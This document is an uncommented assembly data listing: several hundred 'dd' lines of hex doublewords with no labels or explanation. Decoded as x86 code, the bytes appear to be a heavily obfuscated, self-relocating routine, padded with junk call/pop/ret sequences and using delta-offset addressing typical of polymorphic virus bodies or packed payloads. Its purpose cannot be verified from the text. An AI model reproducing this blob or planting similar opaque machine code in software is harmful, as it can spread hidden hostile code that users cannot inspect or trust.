		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1C04h
		dd 0C3504000h, 0C92D4686h, 0ACBDD3A2h, 0DABF0FF3h, 10B195FFh
		dd 6A05E2h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h
		dd 51410000h, 0E9B34DC3h, 0Ch, 8A8BBDC0h, 47405356h, 4A9B64C9h
		dd 1DED950Bh, 85C705E2h, 5E21BD1h, 1, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 17h, 16C35545h, 890C6AD5h, 0E21905BDh
		dd 0B1BD8305h, 5E213h, 25840Fh,	89600000h, 0E23105B5h
		dd 0F7816605h, 0FF61FF17h, 0E230FD95h, 0DE905h,	860B0000h
		dd 5CCA18A7h, 89EDD51h,	83534D85h, 0E20061BDh, 840F0005h
		dd 12h,	0C61958Bh, 95FF05E2h, 5E20AC5h,	0EA8166F5h, 0BD831CD9h
		dd 5E2266Dh, 42840F00h,	1000000h, 0E21A818Dh, 9E905h, 0CDD20000h
		dd 0A0E7CF1Bh, 83C3C1E1h, 0E216F1BDh, 850F0005h, 21h, 0BE8h
		dd 36E26D00h, 9975820Fh, 0BDEFDD68h, 5B616052h,	4995FF5Ah
		dd 0B05E205h, 0E20A519Dh, 8DBD8305h, 5E20Ah, 59840Fh, 81570000h
		dd 80E4AEEAh, 85815A63h, 5E2315Dh, 4003h, 4A84BA66h, 1DD58581h
		dd 400305E2h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 160424h, 52420000h, 65FD33C3h, 6E95660h, 1E000000h
		dd 0AE9AC166h, 9D895F91h, 5E20735h, 11958B61h, 0F05E210h
		dd 2D8D8931h, 8D05E230h, 0E25BD38Dh, 619D8B05h,	8905E208h
		dd 8D89F501h, 5E21019h,	6AC233h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1C0424h, 53430000h, 0B4CCABC3h, 2AF3FE7Dh
		dd 0F08AA123h, 6A044189h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 18042444h, 42000000h, 0CE48C352h,	80818263h
		dd 235049D3h, 0E2250D9Dh, 310F5B05h, 46D38166h,	0E18D8DB6h
		dd 6A05E25Bh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 16042444h, 41000000h, 0FCC5C351h, 68C0F38h, 0B000000h
		dd 0E222D195h, 398D0105h, 8B05E20Ah, 6A0189DFh,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
		dd 9582C356h, 0FBB3BB66h, 1001B509h, 0C23305E2h, 16ED958Bh
		dd 418905E2h, 5B39BA04h, 0BD834BE1h, 5E21431h, 37840F00h
		dd 0BA000000h, 3D8A9E9h, 73195FFh, 6A05E2h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 180424h, 57470000h, 88E67C3h
		dd 0EA80B215h, 3820F00h, 80000000h, 0BD830BD7h,	5E21CE5h
		dd 95850F01h, 0F000000h, 188Ah,	11E95200h, 0D1000000h
		dd 3838A95Fh, 40540A1h,	4842F9A8h, 0A9C22AD0h, 72E95Ah
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h
		dd 56460000h, 8CD936C3h, 41ADBB66h, 1FA59589h, 0B58B05E2h
		dd 5E25D7Eh, 6C7h, 0B58B0000h, 5E25B1Eh, 6C7h, 6ACF0000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1D042444h
		dd 46000000h, 5093C356h, 77204F1Ch, 7DE24A94h, 1D09958Bh
		dd 9D8B05E2h, 5E21125h,	1BD1BD83h, 0F0005E2h, 18A84h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1404h, 0C3504000h
		dd 898D890Eh, 8305E217h, 0E20E6DBDh, 850F0105h,	142h, 68D0Fh
		dd 958B0000h, 5E21761h,	4BD88D8Bh, 9D8905E2h, 5E21415h
		dd 1C6CCB3h, 89958B00h,	6005E204h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Bh, 23C35141h, 0E2DE5E80h, 89484709h
		dd 0E224D59Dh, 4E805h, 800000h,	8E0F0000h, 0
		dd 0C830F50h, 50000000h, 0F616052h, 0E2BB6631h,	8B585A24h
		dd 53042444h, 5A616052h, 52008B5Bh, 2444895Bh, 10E904h
		dd 8DBF0000h, 3139E38Dh, 0B27665Ch, 536F2A47h, 6A58508Bh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 16042444h
		dd 43000000h, 0F4D5C353h, 6AFF6A3Fh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 26F7C357h
		dd 95FFBB71h, 5E20B41h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 15h, 38C35141h, 3810F78h, 80000000h, 958904D3h
		dd 5E2302Dh, 2840F61h, 8B000000h, 195FFDAh, 6005E217h
		dd 41BD8950h, 5E05E201h, 0FD9D8961h, 8B05E21Bh,	0E24BD88Dh
		dd 88D0F05h, 0F000000h,	285h, 0FED98B00h, 7444BA01h, 0BD835738h
		dd 5E224F5h, 0C850F01h,	0F000000h, 68Ah, 55958B00h, 8B05E230h
		dd 83F0B2C0h, 0E21EA9BDh, 9750005h, 1805BD83h, 740005E2h
		dd 8B53501Ah, 5D858BC0h, 8905E231h, 0E2315D85h,	0FA9D8D05h
		dd 0FF05E4B2h, 83585BD3h, 0E21805BDh, 18740005h, 858B5350h
		dd 5E2315Dh, 315D8589h,	9D8D05E2h, 5E4AFE9h, 585BD3FFh
		dd 810F5360h, 0
		dd 0C7F3815Ah, 616C7C1Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 16h, 0E7C35545h, 0D98B2D11h, 15FD958Bh, 0C08B05E2h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 41C35040h
		dd 0C8E699DBh, 2A719D8Bh, 0BD8305E2h, 5E21BD1h,	3F850F00h
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1D042444h, 43000000h, 0DFEC353h, 6D734DA5h, 0A8D650ADh
		dd 1EF59589h, 46BA05E2h, 832ED3AEh, 0E21C15BDh,	840F0005h
		dd 2, 0BD83D48Ah, 5E21BD1h, 24840F00h, 0F000000h, 58Bh
		dd 0DB816600h, 8B66617Ah, 61BD83D1h, 5E210h, 9840Fh, 56F50000h
		dd 1CE99D8Bh, 835B05E2h, 0E21BD1BDh, 840F0005h,	19h, 2451958Bh
		dd 0BD8305E2h, 5E21061h, 6840F00h, 2B000000h, 0E2214D95h
		dd 0D1BD8305h, 5E21Bh, 1D840Fh,	958B0000h, 5E20FD5h, 1F49BD83h
		dd 0F0005E2h, 0A84h, 0AD41BB00h, 0E9BB6B52h, 83702D3Fh
		dd 0E21BD1BDh, 840F0005h, 23h, 83D38B66h, 0E21B35BDh, 840F0005h
		dd 13h,	0C358D89h, 0EB8105E2h, 59E63495h, 1FA195FFh, 8BFC05E2h
		dd 57006AC0h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1604h
		dd 0C3574700h, 0F88E6D9h, 0BD83D2B7h, 5E21EA9h,	83097500h
		dd 0E21805BDh, 1A740005h, 0C08B5350h, 1DD5858Bh, 858905E2h
		dd 5E21DD5h, 0B3619D8Dh, 0D3FF05E4h, 0BD83585Bh, 5E21805h
		dd 50187400h, 0D5858B53h, 8905E21Dh, 0E21DD585h, 29D8D05h
		dd 0FF05E4B0h, 6A585BD3h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 18042444h, 43000000h, 0AF3C353h, 80F72AFFh
		dd 0BA6678D2h, 7E9C5ADh, 22000000h, 9378A99Fh, 0C08B8B9Bh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 17C35747h
		dd 0EC267866h, 831BB755h, 0E21BD1BDh, 840F0005h, 5C4h
		dd 11699D8Bh, 0BD8305E2h, 5E21D29h, 19840F02h, 89000000h
		dd 0E21FB585h, 0E5BD8305h, 105E21Ch, 6850Fh, 0BD890000h
		dd 5E22C2Dh, 30E9BD83h,	0F0005E2h, 11D84h, 51006A00h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h
		dd 169385AEh, 5283EFC3h, 605AD38Bh, 16499D8Bh, 8D8B05E2h
		dd 5E24BD8h, 865958Bh, 1FE05E2h, 0E856006Ah, 3,	5EC35E20h
		dd 4247489h, 4244481h, 16h, 0D1C35646h,	0DA81B675h, 56A37D1Eh
		dd 0E8D7B70Fh, 4, 80h, 0AE8h, 5095EF00h, 7789906Eh, 502ECDB7h
		dd 0F616052h, 13E931h, 0E24F0000h, 0BA5EC4D0h, 0FA2D31D8h
		dd 26968E6Dh, 7CAD41E2h, 5B585A91h, 7ABF6050h, 66215FB0h
		dd 61855EB8h, 424448Bh,	8E8h, 0C1338800h, 0C868EDDh, 0DE84Ch
		dd 1E340000h, 0A8ED6DB3h, 2E1A1648h, 0F64F9E2h,	81h, 8B5A5B00h
		dd 0BAE4BA00h, 4489443Dh, 0D08B0424h, 66FF6A58h, 0E4D8DB81h
		dd 0B4195FFh, 6A05E2h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1D0424h, 53430000h, 882568C3h, 0B11D9C05h, 0B7654AA9h
		dd 6EBA66F2h, 0BB666116h, 6A60B7FFh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 0A154C356h
		dd 87342F44h, 61BD2951h, 5A05E215h, 4BD88D8Bh, 958B05E2h
		dd 5E2314Dh, 0F28101FEh, 9587FEDh, 0D90C1968h, 81F58ADAh
		dd 0F4672404h, 6A2526h,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 180424h, 57470000h, 0C459F0C3h, 8057F551h, 6A5A8EC2h
		dd 0DABF0FFFh, 0B4195FFh, 9D8B05E2h, 5E20C05h, 57006A61h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1604h, 0C3574700h
		dd 8D83D46Dh, 0E231DDBDh, 3FEB8105h, 8B12B83Fh,	6A1C4Fh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
		dd 448599C3h, 6A016Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1A0424h, 55450000h, 6B5058C3h, 0E03C7FE3h, 0AD59589h
		dd 0BA9105E2h, 47EF103Ah, 8D0F6050h, 4,	1C66BB66h, 0AE85250h
		dd 0EC000000h, 98BC1602h, 2111F3FBh, 310F580Dh,	9161585Ah
		dd 0A6BAEA81h, 858D424Eh, 5E54157h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 14h, 34C35747h, 0FC6040BAh, 13E82Fh
		dd 0CC40000h, 9F2E818Ah, 81F10A85h, 93CF64Bh, 0E49E6129h
		dd 858B60A0h, 5E21DEDh,	4639EDBAh, 315A6152h, 0E214B5BDh
		dd 6AD0FF05h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 19042444h, 46000000h, 1E38C356h, 34356E2Fh, 6A204F8Bh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 15042444h
		dd 41000000h, 9BC0C351h, 18F0Fh, 6AF80000h, 6E903h, 0A5680000h
		dd 0DB39DDBAh, 0BB6691h, 8B60502Ch, 0E95250F0h,	14h, 0C24AF45Ah
		dd 0D97DB189h, 0BACE61F9h, 0B9F4DFA8h, 0C8DF8C1Dh, 13E9310Fh
		dd 0E2000000h, 0C9CB43B9h, 0E4896FC0h, 0AF6FB615h, 0ABE0F926h
		dd 585AE7F8h, 6A9161h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 150424h, 56460000h, 522592C3h, 0E95A46B6h, 0Fh, 0B7D8200Ah
		dd 0EBF4A124h, 0CBBCD7C5h, 8182BBB0h, 0C270FDE3h, 57858D7Dh
		dd 6A05E541h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1C042444h, 43000000h, 0AB74C353h, 0F025605Ch, 2B62EF1Ch
		dd 0E2049995h, 8DD0FF05h, 0E231DDBDh, 68D0F05h,	81000000h
		dd 0CBF5ECEAh, 1C4F8B05h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 14h, 0B7C35343h, 8759D8Bh,	16A05E2h, 17759D89h
		dd 0F9105E2h, 28Dh, 50D98B00h, 8191DA8Ah, 0E75627EBh, 57858D6Eh
		dd 0F05E541h, 0D0FFD8B7h, 7E9h,	524A6400h, 0F0FC3D55h
		dd 0F204F8Bh, 582h, 0F3816600h,	36A9FB9h, 0F91D88Bh, 484h
		dd 0A5BB6600h, 4ABA50BBh, 912E5E8Eh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 19h, 9CC35545h, 34FF5483h, 57858DD7h
		dd 0FF05E541h, 52006AD0h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1C04h, 0C3524200h, 0B021EA1Bh, 0EFFFB531h
		dd 0DF8B66CFh, 4BD88D8Bh, 6A05E2h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1C0424h, 55450000h, 8C44B0C3h, 108220D4h
		dd 10E9F96Ah, 21000000h, 0EBDFA567h, 2FA62FC6h,	0D581D386h
		dd 293671BBh, 0E20AC18Dh, 2301FE05h, 0E2089D9Dh, 0D8858B05h
		dd 6A05E24Bh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1D042444h, 46000000h, 4D77C356h, 0ADE6A43Dh,	2A4BA5DBh
		dd 816600FEh, 6A6417F2h, 10E901h, 0EBB00000h, 9D3DBCD1h
		dd 0C3CB6DF9h, 0ECA1EC12h, 4E8125Eh, 0FF000000h, 0E9FFFF9Fh
		dd 7, 70799984h, 50D7DCDEh, 5E9h, 9D48B500h, 448BAB96h
		dd 0D38B0424h, 6E9008Bh, 0A4000000h, 0FBBF098Ah, 244489F8h
		dd 7BBB5004h, 5A0D91E1h, 0AAEB8158h, 8D4F0686h,	0E5416185h
		dd 50006A05h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1704h
		dd 0C3504000h, 2990CE57h, 6DBD3152h, 5A05E200h,	958BD0FFh
		dd 5E22D69h, 1C15BD83h,	0F0005E2h, 0C584h, 19958B00h, 6605E21Ah
		dd 835E58BAh, 0E200B9BDh, 850F0105h, 0AEh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 60C35343h, 95032A53h
		dd 0BD01D78Ch, 5E214FDh, 416B8D8Dh, 8B6605E5h, 6A036AD7h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 14042444h
		dd 40000000h, 6685C350h, 0BD29D18Bh, 5E20CD9h, 6A016Ah
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 170424h, 50400000h
		dd 7760BEC3h, 1CDB8154h, 0FF25614Fh, 458589D1h,	6A05E206h
		dd 4E28101h, 6A74107Bh,	15BA6601h, 29D1FF4Bh, 0E217458Dh
		dd 5CF5E805h, 0CA80FA79h, 3860F38h, 66000000h, 206AD08Bh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 1BC35747h
		dd 0E7BF25E9h, 0FF6AFC90h, 0AE8h, 6A967A00h, 5ED03CCFh
		dd 602E24EEh, 30518D8Bh, 9D8B05E2h, 5E22679h, 9D8B5B61h
		dd 5E22BF9h, 0B4195FFh,	0D38105E2h, 43E055A4h, 0B8h, 4BA6600h
		dd 0FC00BBAh, 5F84h, 50006A00h,	3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1A04h, 0C3504000h, 0A4C98731h, 8BA821F2h
		dd 0E2239D9Dh, 2DBD8305h, 5E21Eh, 2A840Fh, 5E80000h, 2A000000h
		dd 0AC91C282h, 232D950Bh, 8B5B05E2h, 0E213CD9Dh, 3195FF05h
		dd 6005E22Dh, 861BEB9h,	0DB5895Bh, 6105E204h, 1F35858Bh
		dd 6A05E2h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h
		dd 57470000h, 86D175C3h, 3D4CB49Dh, 11E9h, 4FA70300h, 0CCA67A85h
		dd 69C78221h, 8BE0191Fh, 0C6BE8Fh, 0E3E38100h, 586A30F8h
		dd 6E24BA66h, 6AD98C66h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1D042444h, 47000000h, 99FEC357h, 666BE5E3h
		dd 0AD0FE774h, 5E9h, 0E4738E00h, 0C1F6E927h, 53840F04h
		dd 8B000000h, 4CE9DAh, 89570000h, 0E2142DBDh, 0B58B5B05h
		dd 5E2234Dh, 68B0Fh, 9D8B0000h,	5E20499h, 1180C681h, 8B660000h
		dd 6C7DEh, 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1B042444h, 43000000h, 597DC353h, 635C1C8Fh, 15E4B48h
		dd 0E20D219Dh, 9D953105h, 8305E219h, 840F00F8h,	0B4Ch
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0F6C35545h
		dd 0AE041309h, 8B35FF5Bh, 0F01F883h, 1CC85h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1904h, 0C3554500h
		dd 12D040E6h, 0F98A3C2Bh, 0B8h,	0A1958B00h, 0B05E218h
		dd 16840FC0h, 8B000001h, 1F883D9h, 12C840Fh, 81660000h
		dd 83EEFDD2h, 840F03F8h, 8Eh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ah, 93C35545h, 0D1561823h, 0C02B80E1h
		dd 2C658589h, 0BD8D05E2h, 5B7974h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 17h, 74C35040h, 668117F6h, 0E86200BAh
		dd 0Eh,	4A818E1Eh, 359783CDh, 0E63F7C33h, 5AFCBCC6h, 6AE7FFh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
		dd 0EDB8F2C3h, 0CB816605h, 1B8EBFAh, 6A000000h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
		dd 9E16C351h, 0F5DEEDB3h, 74BD8DF9h, 0E8005B79h, 0Fh, 0C5188872h
		dd 0EEA4C5A6h, 2C273152h, 0F59F1B2h, 0FF5BD2B7h, 52006AE7h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1D04h, 0C3524200h
		dd 0BE7388D3h, 209A1BB2h, 8B6651C8h, 64BD8DD3h,	8B05E242h
		dd 0E20AF59Dh, 15858905h, 0E905E22Bh, 2A9h, 0CF59D01h
		dd 0BB6605E2h, 85C726E6h, 5E24C33h, 5, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 15h, 0DBC35545h,	0BFE38111h, 8939AAEDh
		dd 0E2090DBDh, 5B805h, 6A0000h,	3E853h,	5B200000h, 5C895BC3h
		dd 44810424h, 140424h, 53430000h, 8589E9C3h, 5E2041Dh
		dd 8E2E9h, 2F88300h, 0F5850Fh, 0BA660000h, 0B82658h, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 16042444h
		dd 47000000h, 41F0C357h, 0FC00BB3h, 0B584h, 0A98D2900h
		dd 8305E221h, 840F01F8h, 0FFFFFF5Ah, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Dh, 5BC35747h, 5F8C9D4Eh, 0EC887FAh
		dd 0AD958B55h, 6605E208h, 9036DB81h, 29D38166h,	3F88302h
		dd 0FE8C840Fh, 880FFFFFh, 6, 2CE98529h,	2FBA05E2h, 2B4F6D6Fh
		dd 50006AC0h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1B04h
		dd 0C3504000h, 31BC2554h, 6212D169h, 7974BD8Dh,	6A005Bh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
		dd 4BFA1BC3h, 6651FB91h, 0FF5ADF8Bh, 0EB8166E7h, 0BD8D4A24h
		dd 5E2445Ch, 81EB59BBh,	143E970h, 83F90000h, 850F03F8h
		dd 39h,	8DDBBF0Fh, 0E245F0BDh, 0D5B52905h, 0E905E22Bh
		dd 125h, 0E852006Ah, 3,	5AC35A20h, 4245489h, 4244481h
		dd 17h,	0EEC35242h, 815FC523h, 57D44DDAh, 5F88312h, 14850Fh
		dd 5E90000h, 0D4000000h, 1F2C464h, 0D10A62BAh, 785E97Fh
		dd 0F8830000h, 30850F06h, 0BA000000h, 22F33B41h, 47E8BD8Dh
		dd 9E805E2h, 80000000h,	6BF0AAF9h, 0FCDCBD43h, 0BBE95Ah
		dd 870F0000h, 5, 6BDB8166h, 0F19D33E5h,	8305E209h, 850F07F8h
		dd 2Ch,	8D78D780h, 0E22D8DBDh, 0BE905h,	855A0000h, 86A4DD87h
		dd 8E44FACAh, 13AE9CFh,	8B600000h, 0E2180D95h, 0C58D8905h
		dd 6105E22Ch, 0F0AF883h, 6C85h,	56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1C04h,	0C3564600h, 6DE5D533h
		dd 0E2BDA13Fh, 0E0BD8DA6h, 6A05E249h, 3E85700h,	20000000h
		dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 0A7A2C357h
		dd 7068B674h, 0E8BA7357h, 0E93581D0h, 15h, 0C8A0Fh, 840F0000h
		dd 6, 0BA19D0Bh, 0BF0F05E2h, 953157D0h,	5E22445h, 3C6F53B9h
		dd 51006A53h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1C04h
		dd 0C3514100h, 0CBD45533h, 0A3C25428h, 3F832Fh,	71840Fh
		dd 85890000h, 5E230CDh,	8D890F30h, 5E208E1h, 226D958Bh
		dd 0C9D105E2h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Bh,	0D0C35545h, 0C0A895F7h,	66AEFA54h, 6A47D18Bh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
		dd 8C2DC357h, 0C960904Fh, 0E925D280h, 0FFFFFF91h, 1CC58D89h
		dd 44BA05E2h, 5F4442D6h, 2445958Bh, 0BD2905E2h,	5E23265h
		dd 4BDCBD89h, 6A05E2h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1D0424h, 50400000h, 1E1056C3h, 0C151AB7h, 8B075985h
		dd 0E2235D9Dh, 0B98D8D05h, 0F05E21Ah, 0B5FFDABFh, 5E20405h
		dd 8BDE8B66h, 0E20C159Dh, 0E6858D05h, 5005E4ACh, 524EBD8Dh
		dd 8D8D05E2h, 5E26FACh,	831ABCB8h, 30CF2B54h, 47C8D007h
		dd 8DF87549h, 0E26F3CB5h, 0C48D8D05h, 2B05E26Fh, 33A4F3CFh
		dd 0B8C9h, 0C00B0000h, 0BD834674h, 5E21E2Dh, 0FF067400h
		dd 0E22D3195h, 0DCB58B05h, 8D05E24Bh
		dd 0E4ACE685h, 8DD0FF05h, 0E241E785h, 0C7D0FF05h, 0E20F7D85h
		dd 105h, 65A58B00h, 8B05E20Dh, 0E205C5B5h, 51AD8B05h, 3305E231h
		dd 0CC2C0h, 0E857006Ah,	3, 5FC35F20h, 4247C89h,	4244481h
		dd 18h,	0D1C35747h, 2733A64Bh, 0C2816653h, 835A47D5h, 0E215D9BDh
		dd 840F0005h, 49h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 15h, 0DEC35242h, 9DB58907h, 0B705E21Fh, 6595FFC0h
		dd 6A05E20Eh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 16042444h, 46000000h, 0F4ACC356h, 0EDBD83B4h, 5E21Fh
		dd 172850Fh, 0BD890000h, 5E22D55h, 0B9BD83h, 0F0105E2h
		dd 15F85h, 0F5852900h, 8305E223h, 0E20781BDh, 840F0005h
		dd 14Ch, 86C38166h, 2FBD83D4h, 5E24Ch, 13A840Fh, 95030000h
		dd 5E22CC9h, 28B0Fh, 0F88A0000h, 0ACE6858Dh, 6A05E4h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 38DDB3C3h, 6E9h, 32A1BA00h, 0FFCC626h, 8C0FD6BFh, 0Ah
		dd 5E9h, 0F4C6EE00h, 0B58B64D6h, 5E24BDCh, 65CA8166h, 7DBD89EDh
		dd 0FF05E20Ah, 5E9D0h, 82E40000h, 809CFF2Ch, 85C632CAh
		dd 5E20A49h, 5E854h, 0B5090000h, 663792C7h, 0B67BEA81h
		dd 6EB5605Ah, 4E6861F5h, 81B71272h, 4CA62404h, 8589483Ch
		dd 5E21735h, 262DB5FFh,	6A05E2h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 160424h, 57470000h, 870D80C3h, 0EEC28166h
		dd 0AE91Bh, 9CB90000h, 0CBCAD171h, 8412CB16h, 39ED858Dh
		dd 958B05E2h, 5E22D11h,	9D8BD0FFh, 5E20E31h, 958B006Ah
		dd 5E21FA5h, 6AFF6Ah, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1B0424h, 50400000h, 0BB0C03C3h, 0DB6DC96Eh, 0B19D2965h
		dd 0FF05E232h, 97F380D0h, 641B5FFh, 0B50905E2h,	5E21E71h
		dd 40595FFh, 0B58905E2h, 5E21E71h, 4BDCB58Bh, 0C3F905E2h
		dd 1F35B58Bh, 9D8B05E2h, 5E21DD9h, 840FF60Bh, 15h, 68B0Fh
		dd 9D8B0000h, 5E21DF9h,	890006C6h, 0E215D1B5h, 0E4858905h
		dd 6605E24Bh, 83D91BBBh, 840F00F8h, 350h, 319D9501h, 605705E2h
		dd 1EC59D8Bh, 852305E2h, 5E22D89h, 0B85B61h, 0B7000000h
		dd 0F8839Dh, 0CF840Fh, 6A0000h,	3E856h,	5E200000h, 74895EC3h
		dd 44810424h, 1A0424h, 56460000h, 6D960C3h, 9DFC98A7h
		dd 17C59D8Bh, 850F05E2h, 3, 83D2BF0Fh, 850F02F8h, 59h
		dd 858D11B2h, 5E2425Fh,	0DE8B6656h, 9292D5Ah, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 0DCC28FC3h, 0E9281C1Bh, 6, 72B95345h, 958B2035h, 5E21AA1h
		dd 1EBA6650h, 24048946h, 1C4D9D8Bh, 8BC305E2h, 0E2310195h
		dd 0B805h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1C0424h, 55450000h, 86DAF8C3h, 89DBD190h, 80B6A758h
		dd 1EAD952Bh, 61E905E2h, 29000002h, 0E22F8D8Dh,	1B805h
		dd 0D3800000h, 64BD8D75h, 0F05E242h, 381h, 0DFCB8000h
		dd 14BE9h, 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h
		dd 1404h, 0C3554500h, 12E81Bh, 5C510000h, 27CC0C06h, 0B55D49C1h
		dd 846EFC33h, 0A6BE7F55h, 0EE9h, 34891F00h, 1A112A49h
		dd 82D79BAFh, 5A44E66Dh, 0F883A4B7h, 4B850F02h,	6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1C042444h
		dd 43000000h, 0B93BC353h, 7B0123CAh, 8105AFE4h,	0B109BCC2h
		dd 618D891Fh, 8D05E205h, 0E2445CBDh, 0B5896005h, 5E209B1h
		dd 0A96BC281h, 0E961713Bh, 0B0h, 0F8832EB2h, 58850F03h
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1C042444h, 46000000h, 218EC356h, 2C20DEECh, 0E9951F95h
		dd 12h,	0F024283Bh, 5B5C7405h, 0DA97A265h, 65E62CBBh, 0EB813B0Fh
		dd 17F184E3h, 45F0BD8Dh, 9D8B05E2h, 5E20E31h, 53E9h, 95B52900h
		dd 8305E229h, 850F05F8h, 44h, 0CE9h, 8EB2A300h,	0F9D433ADh
		dd 84AE97D6h, 0B1E915h,	6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 160424h, 52420000h, 0C45ADFC3h, 850F5350h
		dd 0
		dd 0BD895A5Bh, 5E20E31h, 72BB6657h, 6F53B9B2h, 0FFB3533Ch
		dd 0F003F83h, 6E84h, 50006A00h,	3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1604h, 0C3504000h, 6664958Bh, 0F30D18Bh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0A0C35242h
		dd 9374723Eh, 900F3417h, 0E947C9D1h, 14h, 6F92AFDBh, 10CA744Bh
		dd 41D4BBE2h, 9FDD58AFh, 1110EFBAh, 0FFFF8FE9h,	559D8BFFh
		dd 8305E231h, 850F05F8h, 68h, 14E5B589h, 8C6605E2h, 0D28166D9h
		dd 0C1F66453h, 41850F04h, 89000000h, 0E22B118Dh, 959D8B05h
		dd 0B805E22Fh, 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0B2C35747h
		dd 0D847995Ah, 0E97F8E34h, 18h,	0C1958B50h, 5A05E213h
		dd 32F9858Bh, 8B6605E2h, 0BBE0FFDAh, 2D7AFAE4h,	405BD83h
		dd 0F0005E2h, 17885h, 0F1BD8900h, 9005E21Bh, 0D38B6652h
		dd 12E8505Bh, 79000000h, 0C5035A3Ch, 7DCAE7Fh, 9DE6541Ch
		dd 1CADE154h, 6E9FAh, 79C40000h, 0CB8DE535h, 8D29905Ah
		dd 5E21349h, 0A4985C6h,	6A4505E2h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 89CFC352h
		dd 0E22F9D95h, 6AEF6805h, 0BE89B96h, 63000000h,	0C5891E8Ah
